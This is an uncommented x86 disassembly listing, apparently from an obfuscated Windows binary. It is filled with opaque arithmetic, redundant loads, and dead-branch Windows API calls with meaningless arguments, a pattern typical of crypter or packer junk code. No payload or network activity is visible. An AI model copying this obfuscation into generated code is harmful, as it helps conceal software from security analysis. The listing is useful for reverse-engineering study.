mov ecx, dword [ebp - 0x84]
sub ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
xor eax, eax
cmp ecx, 0xfd81
setl al
imul ecx, eax, 0xfff6
mov eax, dword [ebp - 0x28]
sub ecx, eax
mov dword [ebp - 0x84], ecx
jne 0x10030157
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x544]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.10013ed2
mov edx, dword [ebp - 0x28]
dec edx
neg edx
mov dword [eax], ebx
mov eax, dword [ebp - 0x28]
sbb edx, edx
inc edx
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x28]
jg 0x100302d0
push esi
lea ecx, [ebp - 0x250]
call fcn.10013e31
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x14], eax
jmp 0x100301c1
push dword [ebp - 0x14]
call fcn.10013ed2
mov dword [eax], 0x149cff29
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x250]
cmp dword [ebp - 0x14], esi
jl 0x100301b0
push 2
call fcn.10013ed2
push 2
lea ecx, [ebp - 0x250]
call fcn.10013ed2
xor edi, edi
cmp dword [eax], edi
jne 0x10030285
push 2
lea ecx, [ebp - 0x250]
call fcn.10013ed2
push edi
lea ecx, [ebp - 0x544]
mov esi, eax
call fcn.10013ed2
push 2
lea ecx, [ebp - 0x250]
mov edi, dword [eax]
sub edi, dword [esi]
call fcn.10013ed2
xor ebx, ebx
lea ecx, [ebp - 0x158]
cmp edi, dword [eax]
sete bl
xor edi, edi
inc edi
push edi
call fcn.10013ed2
xor ecx, ecx
push 2
cmp ebx, dword [eax]
setge cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x250]
call fcn.10013ed2
push 2
lea ecx, [ebp - 0x250]
mov esi, dword [eax]
add esi, dword [ebp - 0x34]
call fcn.10013ed2
xor ecx, ecx
push 8
cmp esi, dword [eax]
pop eax
setle cl
cmp eax, ecx
lea ecx, [ebp - 0x250]
push 2
sbb esi, esi
neg esi
call fcn.10013ed2
mov dword [eax], esi
cmp esi, 0x58945cb2
jle 0x10030282
xor eax, eax
mov ebx, eax
jmp 0x10030287
xor ebx, ebx
inc ebx
xor eax, eax
push eax
lea ecx, [ebp - 0x544]
call fcn.10013ed2
xor edx, edx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x44]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
push eax
lea esi, [ecx + 0x62c89c6a]
lea ecx, [ebp - 0x544]
mov dword [ebp - 0x84], esi
call fcn.10013ed2
lea ecx, [ebp - 0x250]
mov dword [eax], esi
call fcn.10013eb6
jmp 0x10030451
xor eax, eax
mov dword [ebp - 0x20], 0x1d005767
mov dword [ebp - 0x28], eax
jmp 0x10030448
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0x5cc99cf4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10030309
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10d4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100302f4
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1003032f
push 0xa54
push 0xe16
push 0xec6
push 0x7bd
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x10030411
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
push 2
call fcn.10013ed2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
call fcn.10013ed2
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x158]
setl dl
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x1c]
call fcn.10013ed2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
call fcn.10013ed2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
mov esi, dword [eax]
neg esi
call fcn.10013ed2
imul edi, dword [ebp - 0x1c], 0xac80
sub edi, esi
neg edi
sbb edi, edi
xor ecx, ecx
inc edi
cmp dword [eax], 0xcde8
mov eax, dword [ebp - 0x84]
push dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, edi
lea ecx, [ebp - 0x158]
setle dl
xor ebx, ebx
cmp edx, eax
setge bl
call fcn.10013ed2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
mov esi, dword [eax]
imul esi, ebx
call fcn.10013ed2
push 3
mov dword [eax], esi
mov dword [ebp - 0x20], 0x888a0e7b
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10d4], eax
inc dword [ebp - 0x1c]
pop esi
cmp dword [ebp - 0x1c], esi
jle 0x1003033b
xor eax, eax
or edi, 0xffffffff
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x10030445
push dword [ebp - 0x20]
lea ecx, [ebp - 0x158]
call fcn.10013ed2
push dword [ebp - 0x20]
lea ecx, [ebp - 0x158]
mov esi, eax
call fcn.10013ed2
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x20]
jns 0x10030419
push 3
xor eax, eax
pop esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x100302e1
lea ecx, [ebp - 0x158]
call fcn.10013eb6
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 0x1e
call fcn.10013eb6
xor edi, edi
mov dword [ebp - 0x20], 0xfffffffd
or eax, 0xffffffff
mov dword [ebp - 0x3c], 0x17c10977
inc edi
mov dword [ebp - 0x44], eax
push edi
lea ecx, [ebp - 0x8bc]
call fcn.10013e31
mov byte [ebp - 4], 0x22
xor eax, eax
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100304c0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x8bc]
call fcn.10013ed2
push 8
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100304a3
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x100304d5
push eax
push 0x1060
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov eax, dword [ebp - 0x3c]
mov ecx, 0xa130dfdd
cmp ecx, eax
lea ecx, [ebp - 0x8bc]
sbb eax, eax
xor ebx, ebx
inc eax
mov dword [ebp - 0x44], eax
push ebx
call fcn.10013ed2
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp ecx, 0x1289
mov esi, eax
mov ecx, dword [ebp - 0x3c]
mov eax, 0xffff
setne dl
sub edx, eax
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, ecx
setle al
xor ecx, ecx
mov dword [esi], eax
mov eax, dword [ebp - 0x3c]
cmp eax, edi
setl cl
sub ecx, 0x9649
jne 0x1003053f
push ebx
lea ecx, [ebp - 0x8bc]
call fcn.10013ed2
cmp dword [eax], ebx
mov eax, ebx
je 0x10030541
mov eax, edi
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x8bc]
mov byte [ebp - 4], 0x1e
call fcn.10013eb6
mov eax, 0x49fe387
lea ecx, [ebp - 0xfd8]
or esi, 0xffffffff
mov dword [ebp - 0x58], esi
mov dword [ebp - 0xe04], eax
mov dword [ebp - 0xe00], eax
mov dword [ebp - 0xdfc], eax
mov dword [ebp - 0xdf8], eax
mov dword [ebp - 0x14], 0x124f84b8
mov dword [ebp - 0x4c], 0x8f3c34ee
mov dword [ebp - 0x4c], 0x5653d423
push 2
mov dword [ebp - 0x4c], 0x55cc25bf
mov dword [ebp - 0x4c], ebx
pop ebx
push ebx
call fcn.10013e31
push 8
mov byte [ebp - 4], 0x23
pop eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100305d2
push dword [ebp - 0x14]
lea ecx, [ebp - 0xfd8]
call fcn.10013ed2
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100305b8
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100305ea
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0xe04], 0
jne 0x100305ef
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x100305da
dec dword [ebp - 0x44]
lea ecx, [ebp - 0xfd8]
mov byte [ebp - 4], 0x1e
call fcn.10013eb6
mov dword [ebp - 0x4c], 0x3384
mov dword [ebp - 0x28], 0x1824a8c6
mov dword [ebp - 0x3c], 0xb000cd9d
mov dword [ebp - 0x44], 0x3f9150fa
mov dword [ebp - 0x28], 0xffffffe3
cmp dword [ebp - 0x28], 0x11
jl 0x1003064e
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10030645
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x11
jge 0x1003062c
mov eax, dword [ebp - 0x28]
xor edx, edx
neg eax
add eax, eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, esi
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x44], ecx
mov ecx, eax
mov dword [ebp - 0x1c], 0x21dfe4b2
mov dword [ebp - 0x28], 0x958900fd
mov dword [ebp - 0x50], 0x283644bb
mov dword [ebp - 0x3c], 0x1c73b017
mov dword [ebp - 0x38], 0xc5adf851
mov dword [ebp - 0x18], 0xab0c3e5f
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x34], 0x79c1f621
mov dword [ebp - 0x34], 0x102a
cmp dword [ebp - 0x1c], eax
je 0x100306d0
mov ecx, edi
cmp dword [ebp - 0x1c], 0x2aa6
jle 0x100306de
cmp dword [ebp - 0x1c], eax
je 0x100306e0
mov eax, edi
mov edx, dword [ebp - 0x1c]
sub edx, ecx
xor ecx, ecx
cmp eax, 0xafc1
setl cl
xor eax, eax
cmp edx, ecx
setge al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
xor eax, eax
cmp ecx, 0x6893
setge al
imul eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
je 0x10030723
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10030725
mov eax, edi
jmp 0x10030725
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x28], esi
jne 0x10030736
mov esi, edi
cmp dword [ebp - 0x1c], eax
jne 0x10030738
mov esi, eax
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
setg dl
imul eax, esi
sub edx, eax
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
inc edx
sub ecx, edx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
or esi, 0xffffffff
xor eax, eax
add ecx, 0xe141
je 0x10030830
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x44], 0x97bde515
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100307ab
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x80], 0xeb945924
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030796
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x100307c5
push 0x2669
push 0x256d
push eax
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
dec dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x80]
neg edx
mov dword [ebp - 0x1c], esi
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x28]
sbb edx, edx
neg edx
xor ebx, ebx
cmp eax, ecx
mov eax, dword [ebp - 0x80]
push 2
setg bl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ebx, ecx
pop ebx
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x34], ecx
jmp 0x1003089c
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], edi
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x10030854
push eax
push 0x90f
push 0x13e1
call dword [sym.imp.GDI32.dll_CreatePen]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1003085c
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], 0x6af0cfc2
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
add eax, 0xfff6
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
cmp ecx, eax
setl dl
mov dword [ebp - 0x40], edx
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100308c4
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa58]
call fcn.10013ed2
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100308a6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x100309d4